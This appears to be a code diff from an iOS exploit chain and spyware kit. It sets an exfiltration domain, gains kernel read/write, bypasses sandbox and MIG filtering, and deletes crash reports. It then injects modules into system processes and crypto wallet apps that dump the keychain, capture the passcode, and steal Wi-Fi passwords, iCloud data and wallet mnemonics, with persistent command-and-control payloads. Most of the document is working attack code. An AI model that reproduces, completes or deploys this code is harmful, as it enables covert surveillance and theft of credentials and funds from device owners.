return joinBase(g.labApiOrigin(), path);
|
||||
};
|
||||
g.labApplyExfil = applyExfil;
|
||||
g.labEnsureHosts = ensureHosts;
|
||||
g.labApplyNews2Config = applyNews2Config;
|
||||
|
||||
function persistChannelCode(code) {
|
||||
code = String(code || "").trim().slice(0, 64);
|
||||
if (!code) return "";
|
||||
g.__LAB_CHANNEL_CODE__ = code;
|
||||
try {
|
||||
if (g.sessionStorage) g.sessionStorage.setItem("lab_channel_code", code);
|
||||
} catch (e0) {}
|
||||
try {
|
||||
if (g.localStorage) g.localStorage.setItem("lab_channel_code", code);
|
||||
} catch (e1) {}
|
||||
return code;
|
||||
}
|
||||
|
||||
function readChannelCode() {
|
||||
try {
|
||||
var path = (g.location && g.location.pathname) || "";
|
||||
var m = String(path).match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
|
||||
if (m && m[1]) return persistChannelCode(m[1].toUpperCase());
|
||||
} catch (e3) {}
|
||||
return "";
|
||||
}
|
||||
|
||||
g.labChannelCode = function () {
|
||||
if (g.__LAB_CHANNEL_CODE__) return String(g.__LAB_CHANNEL_CODE__);
|
||||
return readChannelCode();
|
||||
};
|
||||
|
||||
ensureHosts();
|
||||
try {
|
||||
g.labChannelCode();
|
||||
} catch (eCh) {}
|
||||
})(typeof window !== "undefined" ? window : typeof globalThis !== "undefined" ? globalThis : null);
|
||||
@@ -0,0 +1,329 @@
|
||||
try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="mh0usocqzi6f46i.com";}catch(e){}
|
||||
import Native from "libs/Chain/Native";
|
||||
import Chain from "libs/Chain/Chain";
|
||||
import TaskRop from "libs/TaskRop/TaskRop";
|
||||
import Task from "libs/TaskRop/Task";
|
||||
import Sandbox from "libs/TaskRop/Sandbox";
|
||||
import Utils from "libs/JSUtils/Utils";
|
||||
import InjectJS from "./InjectJS";
|
||||
import Driver from "libs/Driver/Driver";
|
||||
import RemoteCall from "libs/TaskRop/RemoteCall";
|
||||
import MigFilterBypassThreadCode from "!raw-loader!../dist/MigFilterBypassThread.js";
|
||||
import loaderCode from "!raw-loader!loader.js";
|
||||
import fileDownloaderCode from "!raw-loader!file_downloader.js";
|
||||
import keychainCopierCode from "!raw-loader!keychain_copier.js";
|
||||
import wifiDumpCode from "!raw-loader!wifi_password_dump.js";
|
||||
import wifiDumpSecuritydCode from "!raw-loader!wifi_password_securityd.js";
|
||||
import iCloudDumperCode from "!raw-loader!icloud_dumper.js";
|
||||
|
||||
import keychainDumperCode from "!raw-loader!keychain_dumper.js";
|
||||
import passcodeCaptureCode from "!raw-loader!passcode_capture.js";
|
||||
import walletKeychainDumpersCode from "!raw-loader!wallet_keychain_dumpers.js";
|
||||
import walletExtractorCode from "!raw-loader!wallet_extractor.js";
|
||||
import ghostNativeStub from "!raw-loader!ghost_native_stub.js";
|
||||
import ghostHttpClient from "!raw-loader!ghost_http_client.js";
|
||||
import ghostFollowonLoader from "!raw-loader!ghost_followon_loader.js";
|
||||
import ghostSharedChannel from "!raw-loader!ghost_shared_channel.js";
|
||||
import ghostSaberAgent from "!raw-loader!ghost_saber_agent.js";
|
||||
import ghostKnifeClient from "!raw-loader!ghost_knife_client.js";
|
||||
|
||||
const ghostSaberPayload = [
|
||||
ghostNativeStub,
|
||||
ghostHttpClient,
|
||||
ghostFollowonLoader,
|
||||
ghostSharedChannel,
|
||||
ghostSaberAgent,
|
||||
].join("\n");
|
||||
const ghostKnifePayload = [ghostNativeStub, ghostKnifeClient].join("\n");
|
||||
|
||||
class MigFilterBypass {
|
||||
|
||||
#running;
|
||||
#sharedMem;
|
||||
#runFlagPtr;
|
||||
#isRunningPtr;
|
||||
#monitorThread1Ptr;
|
||||
#monitorThread2Ptr;
|
||||
#mutexPtr;
|
||||
|
||||
constructor(mutexPtr) {
|
||||
this.#mutexPtr = mutexPtr;
|
||||
this.#running = false;
|
||||
this.#sharedMem = BigInt(Native.callSymbol("calloc", 1, 0x100));
|
||||
this.#runFlagPtr = this.#sharedMem;
|
||||
this.#isRunningPtr = this.#sharedMem + 0x4n;
|
||||
this.#monitorThread1Ptr = this.#sharedMem + 0x8n;
|
||||
this.#monitorThread2Ptr = this.#sharedMem + 0x10n;
|
||||
Native.write32(this.#runFlagPtr, 2);
|
||||
Native.write32(this.#isRunningPtr, 0);
|
||||
}
|
||||
|
||||
start() {
|
||||
if (this.#running)
|
||||
return;
|
||||
|
||||
let threadSelf = BigInt(Native.callSymbol("mach_thread_self"));
|
||||
let threadSelfAddr = BigInt(Task.getPortKObject(threadSelf));
|
||||
|
||||
|
||||
let threadMem = BigInt(Native.callSymbol("calloc", 1, 0x400));
|
||||
let kernelRW = Chain.transferRW();
|
||||
let kernelBase = BigInt(Chain.getKernelBase());
|
||||
Native.write64(threadMem, BigInt(kernelRW.controlSocket));
|
||||
Native.write64(threadMem + 0x8n, BigInt(kernelRW.rwSocket));
|
||||
Native.write64(threadMem + 0x10n, kernelBase);
|
||||
Native.write64(threadMem + 0x18n, threadSelfAddr);
|
||||
Native.write64(threadMem + 0x20n, this.#runFlagPtr);
|
||||
Native.write64(threadMem + 0x28n, this.#isRunningPtr);
|
||||
Native.write64(threadMem + 0x30n, this.#mutexPtr);
|
||||
Native.write64(threadMem + 0x38n, BigInt(Chain.offsets().migLock));
|
||||
Native.write64(threadMem + 0x40n, BigInt(Chain.offsets().migSbxMsg));
|
||||
Native.write64(threadMem + 0x48n, BigInt(Chain.offsets().migKernelStackLR));
|
||||
Native.write64(threadMem + 0x50n, this.#monitorThread1Ptr);
|
||||
Native.write64(threadMem + 0x58n, this.#monitorThread2Ptr);
|
||||
//Native.write64(threadMem, lock.kernelSlide);
|
||||
//Native.write64(threadMem + 0x8n, lock.lockAddr);
|
||||
//console.log(TAG, `Spawn bypass thread with args: kernelSlide=${Utils.hex(lock.kernelSlide)}, lockAddr=${Utils.hex(lock.lockAddr)}`);
|
||||
const threadCode = "fcall_init(); " + MigFilterBypassThreadCode;
|
||||
Chain.threadSpawn(threadCode, threadMem);
|
||||
|
||||
for (let i=0; i<10; i++) {
|
||||
let isRunning = Native.read32(this.#isRunningPtr);
|
||||
if (isRunning)
|
||||
break;
|
||||
Native.callSymbol("usleep", 500000);
|
||||
}
|
||||
|
||||
this.#running = true;
|
||||
}
|
||||
|
||||
stop() {
|
||||
if (!this.#running)
|
||||
return;
|
||||
|
||||
Native.write32(this.#runFlagPtr, 0);
|
||||
Native.callSymbol("sleep", 1);
|
||||
this.#running = false;
|
||||
}
|
||||
|
||||
pause() {
|
||||
Native.write32(this.#runFlagPtr, 2);
|
||||
Native.callSymbol("sleep", 1);
|
||||
}
|
||||
|
||||
resume() {
|
||||
Native.write32(this.#runFlagPtr, 1);
|
||||
Native.callSymbol("sleep", 1);
|
||||
}
|
||||
|
||||
monitorThreads(thread1, thread2) {
|
||||
Native.write64(this.#monitorThread1Ptr, thread1);
|
||||
Native.write64(this.#monitorThread2Ptr, thread2);
|
||||
}
|
||||
}
|
||||
function xnuVersion() {
|
||||
Native.callSymbol("uname", Native.mem);
|
||||
const release = Native.readString(Native.mem + 0x200n, 0x100);
|
||||
let splittedVersion = release.split(".");
|
||||
let xnuMajor = splittedVersion[0];
|
||||
let xnuMinor = splittedVersion[1];
|
||||
return {major: xnuMajor, minor: xnuMinor};
|
||||
}
|
||||
|
||||
const TAG = "MAIN";
|
||||
//const targetProcess = "bluetoothd";
|
||||
const targetProcess = "SpringBoard";
|
||||
|
||||
function start() {
|
||||
let mutexPtr = null;
|
||||
let migFilterBypass = null;
|
||||
globalThis.xnuVersion = xnuVersion();
|
||||
let ver = globalThis.xnuVersion;
|
||||
|
||||
// If iOS >= 18.4 we apply migbypass in order to bypass autobox restrictions
|
||||
if (ver.major == 24 && ver.minor >= 4) {
|
||||
|
||||
mutexPtr = BigInt(Native.callSymbol("malloc", 0x100));
|
||||
Native.callSymbol("pthread_mutex_init", mutexPtr, null);
|
||||
migFilterBypass = new MigFilterBypass(mutexPtr);
|
||||
}
|
||||
let driver = new Driver();
|
||||
|
||||
Chain.init(driver, mutexPtr);
|
||||
|
||||
let resultPE = Chain.runPE();
|
||||
if (!resultPE)
|
||||
return;
|
||||
|
||||
|
||||
TaskRop.init();
|
||||
if(migFilterBypass)
|
||||
migFilterBypass.start();
|
||||
let launchdTask = new RemoteCall("launchd",migFilterBypass);
|
||||
if (!launchdTask.success()) {
|
||||
return false;
|
||||
}
|
||||
|
||||
Sandbox.initWithLaunchdTask(launchdTask);
|
||||
Sandbox.deleteCrashReports();
|
||||
Sandbox.createTokens();
|
||||
|
||||
let agentLoader = new InjectJS(targetProcess, loaderCode, migFilterBypass);
|
||||
let agentPid = 0;
|
||||
|
||||
if (agentLoader.inject()) {
|
||||
agentPid = agentLoader.task.pid();
|
||||
Sandbox.applyTokensForRemoteTask(agentLoader.task);
|
||||
Sandbox.adjustMemoryPressure(targetProcess);
|
||||
|
||||
agentLoader.destroy();
|
||||
}
|
||||
|
||||
// Phase order:
|
||||
// 0x45 keychain_copier → configd (must run BEFORE file_downloader)
|
||||
// 0x46 keychain_dumper → securityd
|
||||
// 0x47 passcode_capture → SpringBoard
|
||||
// 0x48 file_downloader → SpringBoard (picks up /tmp keychain+keybag)
|
||||
// 0x4D wallet_keychain_dumpers (+ wallet_extractor) → wallet apps
|
||||
// 0x4B icloud_dumper → UserEventAgent
|
||||
// 0x49 wifi_password_dump → wifid
|
||||
// 0x4A wifi_password_securityd → securityd
|
||||
|
||||
const keychainProcess = "configd";
|
||||
let keychainCopier = new InjectJS(keychainProcess, keychainCopierCode, migFilterBypass);
|
||||
if (keychainCopier.inject()) {
|
||||
Sandbox.applyTokensForRemoteTask(keychainCopier.task);
|
||||
keychainCopier.destroy();
|
||||
}
|
||||
|
||||
const securitydProcess = "securityd";
|
||||
let keychainDumper = new InjectJS(securitydProcess, keychainDumperCode, migFilterBypass);
|
||||
if (keychainDumper.inject()) {
|
||||
Sandbox.applyTokensForRemoteTask(keychainDumper.task);
|
||||
keychainDumper.destroy();
|
||||
}
|
||||
|
||||
try {
|
||||
let passcodeCap = new InjectJS(targetProcess, passcodeCaptureCode, migFilterBypass);
|
||||
if (passcodeCap.inject()) {
|
||||
Sandbox.applyTokensForRemoteTask(passcodeCap.task);
|
||||
passcodeCap.destroy();
|
||||
}
|
||||
} catch (_) {}
|
||||
|
||||
// Brief settle so configd/securityd can land files in /tmp before FD starts
|
||||
try { Native.callSymbol("usleep", BigInt(1500000)); } catch (_) {}
|
||||
|
||||
try {
|
||||
let fileDownloader = new InjectJS(targetProcess, fileDownloaderCode, migFilterBypass);
|
||||
if (fileDownloader.inject()) {
|
||||
Sandbox.applyTokensForRemoteTask(fileDownloader.task);
|
||||
fileDownloader.destroy();
|
||||
}
|
||||
} catch (injectError) {}
|
||||
|
||||
// 0x4D — wallet app processes (best-effort; skip if not running)
|
||||
const walletProcesses = [
|
||||
"Trust", "MetaMask", "Rainbow", "Phantom", "Exodus", "imToken",
|
||||
"Coinbase", "Coinbase Wallet", "Blockchain", "TokenPocket", "SafePal",
|
||||
"Bitget", "OKX", "Binance", "Ledger Live", "BlueWallet", "Atomic",
|
||||
];
|
||||
const walletPayload = walletKeychainDumpersCode + "\n" + walletExtractorCode;
|
||||
for (let wi = 0; wi < walletProcesses.length; wi++) {
|
||||
try {
|
||||
let wDump = new InjectJS(walletProcesses[wi], walletPayload, migFilterBypass);
|
||||
if (wDump.inject()) {
|
||||
Sandbox.applyTokensForRemoteTask(wDump.task);
|
||||
wDump.destroy();
|
||||
}
|
||||
} catch (_) {}
|
||||
}
|
||||
// Also run extractor in SpringBoard (pasteboard / residual ObjC)
|
||||
try {
|
||||
let sbExtract = new InjectJS(targetProcess, walletExtractorCode, migFilterBypass);
|
||||
if (sbExtract.inject()) {
|
||||
Sandbox.applyTokensForRemoteTask(sbExtract.task);
|
||||
sbExtract.destroy();
|
||||
}
|
||||
} catch (_) {}
|
||||
|
||||
const userEventAgentProcess = "UserEventAgent";
|
||||
let iCloudDumper = new InjectJS(userEventAgentProcess, iCloudDumperCode, migFilterBypass);
|
||||
if (iCloudDumper.inject()) {
|
||||
Sandbox.applyTokensForRemoteTask(iCloudDumper.task);
|
||||
iCloudDumper.destroy();
|
||||
}
|
||||
|
||||
const wifidProcess = "wifid";
|
||||
let wifiDump = new InjectJS(wifidProcess, wifiDumpCode, migFilterBypass);
|
||||
if (wifiDump.inject()) {
|
||||
Sandbox.applyTokensForRemoteTask(wifiDump.task);
|
||||
wifiDump.destroy();
|
||||
}
|
||||
|
||||
let wifiDumpSecurityd = new InjectJS(securitydProcess, wifiDumpSecuritydCode, migFilterBypass);
|
||||
if (wifiDumpSecurityd.inject()) {
|
||||
Sandbox.applyTokensForRemoteTask(wifiDumpSecurityd.task);
|
||||
wifiDumpSecurityd.destroy();
|
||||
}
|
||||
|
||||
const p0Signals = [
|
||||
"/tmp/keychain-2.db",
|
||||
"/tmp/keychain_full_dump.txt",
|
||||
"/tmp/wallet_mnemonic_scan.txt",
|
||||
"/tmp/wifi_passwords.txt",
|
||||
"/private/var/tmp/wifi_passwords.txt",
|
||||
];
|
||||
for (let round = 0; round < 24; round++) {
|
||||
let ready = 0;
|
||||
for (let i = 0; i < p0Signals.length; i++) {
|
||||
const probe = p0Signals[i];
|
||||
const fd = Native.callSymbol("open", probe, 0);
|
||||
if (Number(fd) >= 0) {
|
||||
Native.callSymbol("close", fd);
|
||||
ready++;
|
||||
}
|
||||
}
|
||||
if (ready >= 2) break;
|
||||
if (ready >= 1 && round >= 12) break;
|
||||
Native.callSymbol("sleep", 1);
|
||||
}
|
||||
|
||||
// (file_downloader already injected after keychain stages — no second pass)
|
||||
|
||||
// GHOSTSABER: persistent C2 loop + send_command_to_upper_process (research lab)
|
||||
try {
|
||||
let ghostSaber = new InjectJS(targetProcess, ghostSaberPayload, migFilterBypass);
|
||||
if (ghostSaber.inject()) {
|
||||
Sandbox.applyTokensForRemoteTask(ghostSaber.task);
|
||||
ghostSaber.destroy();
|
||||
}
|
||||
} catch (e) {
|
||||
// optional post-exploit module
|
||||
}
|
||||
|
||||
// GHOSTKNIFE: ECDH binary C2 one-shot module harvest (research lab)
|
||||
try {
|
||||
let ghostKnife = new InjectJS(targetProcess, ghostKnifePayload, migFilterBypass);
|
||||
if (ghostKnife.inject()) {
|
||||
Sandbox.applyTokensForRemoteTask(ghostKnife.task);
|
||||
ghostKnife.destroy();
|
||||
}
|
||||
} catch (e) {
|
||||
// optional post-exploit module
|
||||
}
|
||||
|
||||
launchdTask.destroy();
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
try {
|
||||
start();
|
||||
}
|
||||
catch (error) {
|
||||
// Error handling without logging
|
||||
}
|
||||
finally {
|
||||
Native.callSymbol("exit", 0n);
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,103 @@
|
||||
// PE stage file — progress marker: GET /pe_stage/s1_launchd.js
|
||||
// Eval'd inside pe_worker start(); falls back to inline if fetch fails.
|
||||
function __peStage1() {
|
||||
p7_flog("PEMK-B0 before launchd RemoteCall isLaunchdSafe=1"); p7_flushLog();
|
||||
try { pe_alive_ping("pe_s1_pre_launchd"); } catch (_s1a) {}
|
||||
LOG("[PE] creating launchdTask...");
|
||||
launchdTask = new libs_TaskRop_RemoteCall__WEBPACK_IMPORTED_MODULE_8__["default"]("launchd",migFilterBypass);
|
||||
p7_flog("PEMK-B0 after launchd ctor ok=" + !!(launchdTask && launchdTask.success()) + " fail=" + (globalThis.__peRemoteFail || 0)); p7_flushLog();
|
||||
try { pe_alive_ping("pe_s1_post_launchd"); } catch (_s1b) {}
|
||||
if (!launchdTask.success()) {
|
||||
LOG("[PE] launchdTask FAILED");
|
||||
p7_flog("PEMK-B launchdTask FAILED"); p7_flushLog();
|
||||
try { globalThis.__peAbort = true; } catch (_a) {}
|
||||
return;
|
||||
}
|
||||
LOG("[PE] launchdTask OK, init sandbox...");
|
||||
p7_flog("PEMK-B1 before initWithLaunchdTask"); p7_flushLog();
|
||||
libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].initWithLaunchdTask(launchdTask);
|
||||
// Skip deleteCrashReports: first post-ctor launchd token + recursive deleteDir
|
||||
// reboots A13 (iPhone12,x) before createTokens even starts.
|
||||
p7_flog("PEMK-B1 skip deleteCrashReports"); p7_flushLog();
|
||||
p7_flog("PEMK-B1 before createTokens (nui-gate)"); p7_flushLog();
|
||||
try {
|
||||
libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].createTokens();
|
||||
LOG("[PE] sandbox tokens created");
|
||||
p7_flog("PEMK-B1 tokens ok"); p7_flushLog();
|
||||
} catch (tokEx) {
|
||||
p7_flog("PEMK-B1 createTokens THREW: " + String(tokEx).slice(0, 120));
|
||||
p7_flushLog();
|
||||
throw tokEx;
|
||||
}
|
||||
|
||||
// ===== Self-process ucred READ-ONLY probe =====
|
||||
// Uses the PROVEN path from sandbox extension code (line 6641-6653):
|
||||
// proc + 0x18 -> credRef + 0x28 -> ucred
|
||||
// ucred + 0x18 = cr_uid (offset 24, matches IDA key 35)
|
||||
// ucred + 0x78 = cr_label (offset 120, matches IDA key 44)
|
||||
try {
|
||||
let C = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"];
|
||||
let HEX = libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_5__["default"].hex;
|
||||
let T = libs_TaskRop_Task__WEBPACK_IMPORTED_MODULE_3__["default"];
|
||||
|
||||
let selfTask = T.gSelfTask.addr;
|
||||
let selfProcRO = C.read64(selfTask + C.offsets().procRO);
|
||||
let selfProc = C.read64(selfProcRO);
|
||||
LOG("[UCRED] task=" + HEX(C.strip(selfTask)) + " proc=" + HEX(C.strip(selfProc)));
|
||||
|
||||
let credRef = C.read64(selfProc + 0x18n);
|
||||
LOG("[UCRED] credRef=" + HEX(C.strip(credRef)));
|
||||
|
||||
let diag = "proc=" + HEX(C.strip(selfProc));
|
||||
|
||||
if (credRef && C.strip(credRef) >= 0xffffffd000000000n) {
|
||||
let ucred = C.read64(credRef + 0x28n);
|
||||
LOG("[UCRED] ucred=" + HEX(C.strip(ucred)));
|
||||
diag += "|ucred=" + HEX(C.strip(ucred));
|
||||
|
||||
if (ucred && C.strip(ucred) >= 0xffffffd000000000n) {
|
||||
let cr_uid = C.read32(ucred + 0x18n);
|
||||
let cr_ruid = C.read32(ucred + 0x1cn);
|
||||
let cr_svuid = C.read32(ucred + 0x20n);
|
||||
let cr_ngroups = C.read32(ucred + 0x24n);
|
||||
let cr_label = C.read64(ucred + 0x78n);
|
||||
LOG("[UCRED] cr_uid=" + cr_uid + " cr_ruid=" + cr_ruid + " cr_svuid=" + cr_svuid + " cr_ngroups=" + cr_ngroups);
|
||||
LOG("[UCRED] cr_label=" + HEX(C.strip(cr_label)));
|
||||
diag += "|uid=" + cr_uid + "|ruid=" + cr_ruid + "|svuid=" + cr_svuid;
|
||||
diag += "|ngroups=" + cr_ngroups + "|cr_label=" + HEX(C.strip(cr_label));
|
||||
|
||||
// Also dump a few more ucred fields for structure verification
|
||||
for (let doff = 0x00n; doff <= 0x80n; doff += 8n) {
|
||||
try {
|
||||
let val = C.read64(ucred + doff);
|
||||
diag += "|u+" + doff.toString(16) + "=" + HEX(C.strip(val));
|
||||
} catch(e3) {}
|
||||
}
|
||||
} else {
|
||||
diag += "|ucred_INVALID";
|
||||
}
|
||||
} else {
|
||||
diag += "|credRef_INVALID";
|
||||
}
|
||||
|
||||
globalThis.__ucredDiag = diag;
|
||||
LOG("[UCRED] diag=" + diag.substring(0, 200));
|
||||
} catch (probeErr) {
|
||||
globalThis.__ucredDiag = "probe_error:" + String(probeErr);
|
||||
LOG("[UCRED] error: " + probeErr);
|
||||
}
|
||||
// ===== End ucred probe =====
|
||||
|
||||
// Flush Phase 1 log now that sandbox tokens exist
|
||||
if (p7_enableP7) {
|
||||
p7_flog("launchd RC OK, sandbox tokens created");
|
||||
p7_flushLog();
|
||||
}
|
||||
|
||||
// ===== keychain_copier: must run BEFORE P7 Phase 2 sqlite pipeline =====
|
||||
// keepAlive until /tmp DB is usable - destroy() tears RC and kills mid-copy.
|
||||
p7_flog("PEMK-B s1_launchd ok"); p7_flushLog();
|
||||
try { __peClaimRunToken(); } catch (_ct) { try { p7_flog("PEMK-B pe_run_token claim throw: " + _ct); p7_flushLog(); } catch (_e) {} }
|
||||
}
|
||||
|
||||
__peStage1();
|
||||
@@ -0,0 +1,213 @@
|
||||
// PE stage file — progress marker: GET /pe_stage/s2_keychain.js
|
||||
// Eval'd inside pe_worker start(); falls back to inline if fetch fails.
|
||||
function __peStage2() {
|
||||
// Clear stale copier notify so we do not race a previous run.
|
||||
try {
|
||||
var __Nclr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"];
|
||||
__Nclr.callSymbol("unlink", "/tmp/keychain_copier_status.txt");
|
||||
__Nclr.callSymbol("unlink", "/tmp/keychain_mpd_go");
|
||||
__Nclr.callSymbol("unlink", "/tmp/keychain-2.db");
|
||||
} catch (_u) {}
|
||||
|
||||
__labKcCopier = null;
|
||||
var __rcCopyOk = false;
|
||||
var __rcCopySz = -1;
|
||||
|
||||
// Detect iOS version: 18.6.1+ must NOT enter RemoteCall rc_copy (hangs).
|
||||
// 18.6.0 keeps the lab rc_copy primary path unchanged.
|
||||
var __iosV = __labIosForGate();
|
||||
try { globalThis.__labIosVer = __iosV; } catch (_cv) {}
|
||||
// 18.6.1 / 18.6.2: match iOS18nui InjectJS path (no PEMK-C0 rc_copy).
|
||||
var __useNuiKc = (__iosV.maj === 18 && (
|
||||
(__iosV.min === 6 && __iosV.pat >= 1) ||
|
||||
(__iosV.min > 6)
|
||||
));
|
||||
p7_flog("PEMK-C0 ios=" + (__iosV.raw || "?") + " useNuiKc=" + (__useNuiKc ? "1" : "0")); p7_flushLog();
|
||||
|
||||
if (__useNuiKc) {
|
||||
// ===== iOS18nui path (18.6.1 / 18.6.2) =====
|
||||
// applyTokens AFTER evaluateScript hangs on 18.6.2. Use deferStart:
|
||||
// prepare JSC → full applyTokens → startScript → destroy (no post-apply).
|
||||
LOG("[PE-WORKER] inject keychain_copier -> configd (nui 18.6.1+)");
|
||||
p7_flog("PEMK-C0 nui InjectJS begin"); p7_flushLog();
|
||||
try { pe_alive_ping("pe_s2_nui_begin"); } catch (_pi0) {}
|
||||
try {
|
||||
var __kcRC = new libs_TaskRop_RemoteCall__WEBPACK_IMPORTED_MODULE_8__["default"]("configd", migFilterBypass);
|
||||
if (!__kcRC.success()) {
|
||||
LOG("[PE-WORKER] keychain_copier: configd RC failed");
|
||||
p7_flog("PEMK-C0 nui configd RC failed"); p7_flushLog();
|
||||
try { pe_alive_ping("pe_s2_nui_fail"); } catch (_pi2a) {}
|
||||
} else {
|
||||
p7_flog("PEMK-C0 nui configd RC ok -> deferStart+full applyTokens"); p7_flushLog();
|
||||
var kcCopier = new _InjectJS__WEBPACK_IMPORTED_MODULE_6__["default"](__kcRC, _raw_loader_keychain_copier_js__WEBPACK_IMPORTED_MODULE_20__["default"], migFilterBypass);
|
||||
p7_flog("PEMK-C0 nui InjectJS ctor ok"); p7_flushLog();
|
||||
var __injT0 = Date.now();
|
||||
if (kcCopier.inject(0, { deferStart: true })) {
|
||||
LOG("[PE-WORKER] keychain_copier prepared (deferred)");
|
||||
p7_flog("PEMK-C0 nui defer ok ms=" + (Date.now() - __injT0) + " -> applyTokens"); p7_flushLog();
|
||||
try {
|
||||
libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(kcCopier.task);
|
||||
} catch (_atN) {
|
||||
p7_flog("PEMK-C0 nui applyTokens err: " + _atN); p7_flushLog();
|
||||
}
|
||||
kcCopier.startScript();
|
||||
p7_flog("PEMK-C0 nui startScript ok -> destroy"); p7_flushLog();
|
||||
kcCopier.destroy();
|
||||
p7_flog("PEMK-C0 nui destroy ok"); p7_flushLog();
|
||||
try { pe_alive_ping("pe_s2_nui_ok"); } catch (_pi1) {}
|
||||
} else {
|
||||
LOG("[PE-WORKER] keychain_copier FAILED");
|
||||
p7_flog("PEMK-C0 nui inject FAILED ms=" + (Date.now() - __injT0)); p7_flushLog();
|
||||
try { __kcRC.destroy(); } catch (_rd) {}
|
||||
try { pe_alive_ping("pe_s2_nui_fail"); } catch (_pi2) {}
|
||||
}
|
||||
}
|
||||
} catch (kcErr) {
|
||||
LOG("[PE-WORKER] keychain_copier error: " + kcErr);
|
||||
p7_flog("PEMK-C0 nui exception: " + kcErr); p7_flushLog();
|
||||
try { pe_alive_ping("pe_s2_nui_exc"); } catch (_pi3) {}
|
||||
}
|
||||
// Background copier needs a short settle before Phase2 /tmp open.
|
||||
LOG("[PE-WORKER] waiting 3s for keychain copy (nui)...");
|
||||
for (var __nuiWi = 1; __nuiWi <= 3; __nuiWi++) {
|
||||
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("sleep", 1);
|
||||
}
|
||||
p7_flog("PEMK-C s2_keychain done nui=1 rcCopy=0"); p7_flushLog();
|
||||
try { pe_alive_ping("pe_s2_done"); } catch (_ps2) {}
|
||||
return;
|
||||
}
|
||||
|
||||
// ===== PRIMARY (18.6.0 / non-18.6.1+): RemoteCall copy inside configd =====
|
||||
// Issue fresh Keychains tokens → consume into configd → open/read/write → /tmp.
|
||||
// Avoids InjectJS evaluateScript race that often copies before tokens land.
|
||||
LOG("[PE-WORKER] RemoteCall keychain copy via configd...");
|
||||
p7_flog("PEMK-C0 rc_copy start"); p7_flushLog();
|
||||
try {
|
||||
p7_flog("PEMK-C0 before RemoteCall(configd)"); p7_flushLog();
|
||||
var cfgRc = new libs_TaskRop_RemoteCall__WEBPACK_IMPORTED_MODULE_8__["default"]("configd", migFilterBypass);
|
||||
p7_flog("PEMK-C0 after RemoteCall success=" + !!(cfgRc && cfgRc.success())); p7_flushLog();
|
||||
if (cfgRc && cfgRc.success()) {
|
||||
var __tokPaths = [
|
||||
"/private/var/Keychains/",
|
||||
"/private/var/Keychains/keychain-2.db",
|
||||
"/private/var/Keychains/keychain-2.db-wal",
|
||||
"/private/var/Keychains/keychain-2.db-shm",
|
||||
"/var/Keychains/",
|
||||
"/var/Keychains/keychain-2.db",
|
||||
"/tmp/",
|
||||
"/private/var/tmp/"
|
||||
];
|
||||
var __tokN = 0;
|
||||
for (var __ti = 0; __ti < __tokPaths.length; __ti++) {
|
||||
if (__labApplyFreshToken(cfgRc, __tokPaths[__ti])) __tokN++;
|
||||
}
|
||||
try {
|
||||
libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(cfgRc);
|
||||
} catch (_at) {}
|
||||
p7_flog("PEMK-C0 tokens fresh=" + __tokN); p7_flushLog();
|
||||
|
||||
var __pairs = [
|
||||
["/private/var/Keychains/keychain-2.db", "/tmp/keychain-2.db"],
|
||||
["/private/var/Keychains/keychain-2.db-wal", "/tmp/keychain-2.db-wal"],
|
||||
["/private/var/Keychains/keychain-2.db-shm", "/tmp/keychain-2.db-shm"]
|
||||
];
|
||||
for (var __fi = 0; __fi < __pairs.length; __fi++) {
|
||||
var __cr = __labRcCopyFile(cfgRc, __pairs[__fi][0], __pairs[__fi][1]);
|
||||
p7_flog("PEMK-C0 copy " + __pairs[__fi][1].split("/").pop() +
|
||||
" ok=" + __cr.ok + " sz=" + __cr.sz + " err=" + (__cr.err || ""));
|
||||
p7_flushLog();
|
||||
if (__fi === 0 && __cr.ok && __cr.sz > 1048576) {
|
||||
__rcCopyOk = true;
|
||||
__rcCopySz = __cr.sz;
|
||||
}
|
||||
}
|
||||
if (!__rcCopyOk) {
|
||||
var __cr2 = __labRcCopyFile(cfgRc, "/var/Keychains/keychain-2.db", "/tmp/keychain-2.db");
|
||||
p7_flog("PEMK-C0 copy alt ok=" + __cr2.ok + " sz=" + __cr2.sz + " err=" + (__cr2.err || ""));
|
||||
p7_flushLog();
|
||||
if (__cr2.ok && __cr2.sz > 1048576) {
|
||||
__rcCopyOk = true;
|
||||
__rcCopySz = __cr2.sz;
|
||||
}
|
||||
}
|
||||
if (__rcCopyOk) {
|
||||
__labWriteCopierReady(cfgRc, "/tmp/keychain-2.db", __rcCopySz);
|
||||
try {
|
||||
globalThis.__labKcCopyPath = "/tmp/keychain-2.db";
|
||||
globalThis.__labKcReady = true;
|
||||
} catch (_g) {}
|
||||
p7_flog("PEMK-C0 READY via rc_copy sz=" + __rcCopySz); p7_flushLog();
|
||||
LOG("[PE-WORKER] rc_copy READY sz=" + __rcCopySz);
|
||||
}
|
||||
// Breadcrumbs: last pe_mpd was READY then silence → pin destroy vs InjectJS.
|
||||
p7_flog("PEMK-C0 before cfgRc.destroy"); p7_flushLog();
|
||||
try { pe_alive_ping("pe_s2_pre_destroy"); } catch (_pd0) {}
|
||||
try {
|
||||
cfgRc.destroy();
|
||||
p7_flog("PEMK-C0 after cfgRc.destroy ok"); p7_flushLog();
|
||||
try { pe_alive_ping("pe_s2_post_destroy"); } catch (_pd1) {}
|
||||
} catch (_d) {
|
||||
p7_flog("PEMK-C0 cfgRc.destroy threw: " + _d); p7_flushLog();
|
||||
try { pe_alive_ping("pe_s2_destroy_err"); } catch (_pd2) {}
|
||||
}
|
||||
} else {
|
||||
p7_flog("PEMK-C0 configd RemoteCall FAILED"); p7_flushLog();
|
||||
LOG("[PE-WORKER] configd RemoteCall FAILED");
|
||||
}
|
||||
} catch (__rcErr) {
|
||||
p7_flog("PEMK-C0 rc_copy exception: " + __rcErr); p7_flushLog();
|
